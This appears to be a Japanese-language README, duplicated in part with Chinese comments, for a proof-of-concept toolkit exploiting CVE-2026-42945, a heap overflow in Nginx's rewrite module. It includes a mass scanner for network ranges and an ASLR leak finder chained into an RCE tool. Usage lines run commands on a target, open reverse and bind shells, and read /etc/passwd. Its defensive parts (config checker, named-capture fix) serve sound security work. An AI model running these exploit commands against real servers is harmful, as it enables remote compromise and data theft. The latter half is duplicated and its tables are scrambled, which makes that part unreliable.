
CVE-2026-42945 Nginx Rift
CVE-2026-42945(Nginx Rift)向けの包括的な概念実証(PoC)ツールキットです。Nginx の ngx_http_rewrite_module に存在する深刻なヒープバッファオーバーフロー脆弱性です。
| 項目 | 詳細 |
|---|---|
| CVE ID | CVE-2026-42945 |
| 名称 | Nginx Rift |
| タイプ | ヒープバッファオーバーフロー |
| コンポーネント | ngx_http_rewrite_module |
| 深刻度 | 緊急(CVSS 9.2) |
| 影響を受けるバージョン | Nginx 0.6.27 - 1.30.0 |
| 修正バージョン | Nginx 1.30.1 / 1.31.0 |
この脆弱性は、rewrite ルールを処理する際の 2 回の内部パス間でのサイズ計算の誤りに起因します。設定で以下の条件を使用している場合:
$1、$2 など)? を含む置換文字列との組み合わせNginx は最初のパスで必要なバッファサイズを誤って計算し、2 番目のパスで割り当てられたヒープバッファの範囲を超えて書き込みを行います。
server {
# VULNERABLE: Unnamed capture ($1) + '?' in replacement
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# SAFE: Named capture (?P<path>) replaces $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py - コア PoC ツール単一ターゲットを対象とする脆弱性スキャナおよびエクスプロイトツールです。
機能:
Server ヘッダーから Nginx のバージョンを検出使用法:
# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com
# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py - バッチスキャナ複数のターゲットを同時にテストするためのバッチスキャナです。
機能:
使用法:
# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json
# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
ターゲットファイルの形式:
# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py - 設定アナライザローカルの Nginx 設定ファイルをスキャンして、脆弱な rewrite パターンを検出します。
機能:
nginx.conf を解析し、include ディレクティブを追跡? を含む名前なしキャプチャを検出使用法:
# Scan single file
python config_checker.py /etc/nginx/nginx.conf
# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/
# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf
# Auto-detect common Nginx paths
python config_checker.py
enhanced_poc.py - 拡張 RCE PoCdepthfirst の公式研究に基づく高度なエクスプロイトツールで、複数の rewrite パターンとエクスプロイトモードをサポートしています。
機能:
/api/、/redirect/、/user/ など)を自動検出+、&、=、%)をサポートcmd / shell / bind / readngx_pool_cleanup_s を使用した動的なスプレー本体の構築使用法:
# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect
# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd
# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
エクスプロイトモードの詳細:
アドレス設定(ASLR 無効時のみ):
--heap-base: ターゲットのヒープベースアドレス(例:0x555555559000)--libc-base: libc のベースアドレス(例:0x7ffff77ba000)--system-addr: system() の直接アドレス(libc-base を上書き)aslr_leak_detector.py - ASLR リーク検出器ASLR 保護をバイパスできる情報漏えいを検出するための総合スキャナです。
機能:
/nginx_status、/actuator/* など)enhanced_poc.py との直接連携使用法:
# Scan single target
python aslr_leak_detector.py -t target.example.com
# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick
拡張 PoC との連携:
# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json
# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC ツールは、以下の指標を通じて脆弱性を識別します:
| 指標 | 説明 |
|---|---|
| 接続の切断 | ターゲットが予期せず接続を閉じる(ワーカーのクラッシュ) |
| ゲートウェイエラー | HTTP 502/503/504 応答(ワーカープロセスの停止) |
| 応答の遅延 | 応答時間が大幅に増加する(クラッシュからの復旧) |
外部依存関係は不要です。Python 標準ライブラリのみを使用します。
# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945
# Verify Python version (3.7+ recommended)
python3 --version
# Run any tool
python3 nginx_rift_poc.py --help
直ちにパッチを適用できない場合は、名前なしキャプチャを名前付きキャプチャに置き換えます:
# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
脆弱な rewrite パターンを標的とした不正なリクエストをブロックする WAF ルールを展開します。
本ツールキットは、許可されたセキュリティテストおよび研究目的のみで使用してください。
この欠陥は、他の 3 つのメモリ破壊の問題とともに発見されました:
| CVE | 説明 | 深刻度 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI のメモリ割り当ての欠陥 | 高 |
| CVE-2026-40701 | OCSP の DNS 解決における Use-after-free | 中 |
| CVE-2026-42934 | UTF-8 解析の範囲外読み取り | 中 |
このプロジェクトは、教育目的および許可されたセキュリティテスト目的で提供されます。
作者: Security Research Team 日付: 2026-06-11
CVE-2026-42945(Nginx Rift)は、Nginx の ngx_http_rewrite_module モジュールにおけるヒープバッファオーバーフロー脆弱性です。2008 年(Nginx 0.6.27)から存在し、約 18 年間潜伏していました。
rewrite ルールを処理する際、Nginx は内部で 2 回の解析を行います。設定が以下の 2 つの条件を同時に満たす場合:
$1、$2 など)? 文字が含まれるNginx は 1 回目の解析でバッファサイズを誤って計算し、2 回目の解析でヒープバッファの境界を超えてデータを書き込み、ヒープオーバーフローを引き起こします。
server {
# 有漏洞:未命名捕获 $1 + 替换字符串中的 ?
location /api/ {
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
}
}
server {
# 安全:使用命名捕获 (?P<name>) 替代 $1
location /api/ {
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
}
}
nginx_rift_poc.py — コア PoC ツール単一ターゲットの脆弱性検出およびエクスプロイトツールです。
機能:
Server レスポンスヘッダーから Nginx のバージョンを検出使用例:
# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com
# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"
# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443
# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf
# 生成安全(已修复)配置
python nginx_rift_poc.py --gen-safe-config > safe.conf
nginx_rift_scanner.py — バッチスキャナ複数のターゲットをマルチスレッドで並行スキャンします。
機能:
使用例:
# 从目标文件扫描(格式:每行 host:port)
python nginx_rift_scanner.py -f targets.txt -o results.json
# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl
# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080
# 高速扫描(100线程)
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json
ターゲットファイルの形式:
# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080
config_checker.py — 設定ファイルチェッカーローカルの Nginx 設定ファイルをスキャンし、脆弱な rewrite パターンを検出します。
機能:
nginx.conf を解析し、include で参照されているファイルを再帰的に解析? を含む rewrite ディレクティブを検出使用例:
# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf
# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/
# 自动修复脆弱配置(自动备份原文件)
python config_checker.py --fix /etc/nginx/nginx.conf
# 自动探测常见 Nginx 配置路径
python config_checker.py
enhanced_poc.py — 拡張版 RCE PoCdepthfirst の公式研究に基づく高度な脆弱性エクスプロイトツールで、複数の rewrite パターンと利用方法をサポートしています。
機能:
/api/、/redirect/、/user/ など)を自動検出+、&、=、%)をサポートcmd / shell / bind / readngx_pool_cleanup_s を含むスプレー本体を動的に構築オーバーフロー発火文字の拡張表:
使用例:
# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect
# 执行命令(ASLR 关闭环境)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"
# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444
# 绑定 Shell(在目标上监听)
python enhanced_poc.py -t target.example.com --bind --listen-port 5555
# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd
# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000
# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"
利用モードの説明:
アドレス設定(ASLR 無効環境のみ):
--heap-base: ターゲットのヒープベースアドレス(例:0x555555559000)--libc-base: libc ベースアドレス(例:0x7ffff77ba000)--system-addr: system() アドレスを直接指定aslr_leak_detector.py — ASLR 情報漏えい検出ツールASLR 保護をバイパスするために悪用可能な情報漏えいを検出する総合スキャナです。
機能:
/nginx_status、/actuator/* など)enhanced_poc.py と直接連携使用例:
# 扫描单个目标
python aslr_leak_detector.py -t target.example.com
# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl
# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json
# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443
# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick
拡張版 PoC との連携使用:
# 步骤 1:检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json
# 步骤 2:使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
--heap-base 0x555555559000 \
--libc-base 0x7ffff77ba000 \
--cmd "id"
PoC ツールは以下の現象によって、ターゲットに脆弱性が存在するかどうかを判断します:
| 検出指標 | 説明 |
|---|---|
| 接続の切断 | ターゲットが異常に接続を閉じる(Worker プロセスのクラッシュ) |
| ゲートウェイエラー | HTTP 502/503/504 を返す(Worker プロセスが停止) |
| 応答の遅延 |
サードパーティの依存関係は不要で、Python 標準ライブラリのみで実行できます。
# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945
# 验证 Python 版本(推荐 3.7+)
python3 --version
# 查看工具帮助
python3 nginx_rift_poc.py --help
名前なしキャプチャを名前付きキャプチャに置き換えます:
# 修改前(有漏洞)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;
# 修改后(安全)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
脆弱な rewrite パターンを標的とした悪意のあるリクエストを遮断する WAF(Web アプリケーションファイアウォール)ルールを展開します。
本ツールキットは、許可されたセキュリティテストおよび研究目的のみに使用してください。
この脆弱性は、depthfirst の AI 駆動型静的解析システムによって発見された一連のメモリ破壊問題の 1 つです:
| CVE ID | 説明 | 深刻度 |
|---|---|---|
| CVE-2026-42946 | SCGI/UWSGI のメモリ割り当ての欠陥 | 高 |
| CVE-2026-40701 | OCSP DNS 解決における UAF | 中 |
| CVE-2026-42934 | UTF-8 解析の範囲外読み取り | 中 |
本プロジェクトは教育目的および許可されたセキュリティテスト専用です。
作者: Security Research Team 日付: 2026-06-11
| モード | 説明 | 出力 |
|---|
cmd | 単一のシェルコマンドを実行 | ターゲット上のコマンド出力 |
shell | リバースシェルを起動 | --listen-ip:listen-port に接続を戻す |
bind | ターゲット上でバインドシェルを起動 | ターゲット上の --listen-port で待ち受け |
read | ターゲットからファイルを読み取る | 内容は /tmp/nginx_rift_read に書き込まれる |
| 空の応答 | ベースラインと比較して応答ボディが消える |
| バージョンの一致 | 検出された Nginx バージョンが脆弱な範囲内 |
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|
| Nginx オープンソース版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | パッチ未適用の全バージョン | 修正済みリリースに更新 |
| Nginx Gateway Fabric | パッチ未適用の全バージョン | 修正済みリリースに更新 |
| 項目 | 詳細 |
|---|
| CVE ID | CVE-2026-42945 |
| 脆弱性の名称 | Nginx Rift |
| 脆弱性のタイプ | ヒープバッファオーバーフロー |
| 影響を受けるコンポーネント | ngx_http_rewrite_module |
| 深刻度 | 緊急(CVSS 9.2) |
| 影響を受けるバージョン | Nginx 0.6.27 - 1.30.0 |
| 修正バージョン | Nginx 1.30.1 / 1.31.0 |
| 文字 | 拡張後 | 文字あたりのオーバーフロー |
|---|
+ | %2B | +2 バイト |
& | %26 | +2 バイト |
= | %3D | +2 バイト |
% | %25 | +2 バイト |
| 空白 | %20 | +2 バイト |
| モード | 説明 | 出力 |
|---|
cmd | 単一のシェルコマンドを実行 | コマンドの出力がターゲット上に保存される |
shell | リバースシェルを生成 | --listen-ip:listen-port に接続を戻す |
bind | バインドシェルを生成 | ターゲット上の --listen-port で待ち受ける |
read | ターゲットのファイルを読み取る | 内容は /tmp/nginx_rift_read に書き込まれる |
| 応答時間が著しく増加(プロセスクラッシュ後の自動再起動) |
| 空のレスポンスボディ | ベースラインと比較してレスポンスボディが空(Worker がクラッシュ) |
| バージョンの一致 | 検出された Nginx バージョンが脆弱な範囲内 |
| 製品 | 影響を受けるバージョン | 修正バージョン |
|---|
| Nginx オープンソース版 | 0.6.27 - 1.30.0 | 1.30.1 / 1.31.0 |
| Nginx Plus | R32 - R36 | R32 P6 / R36 P4 |
| Nginx Ingress Controller | パッチ未適用の全バージョン | 修正済みバージョンに更新 |
| Nginx Gateway Fabric | パッチ未適用の全バージョン | 修正済みバージョンに更新 |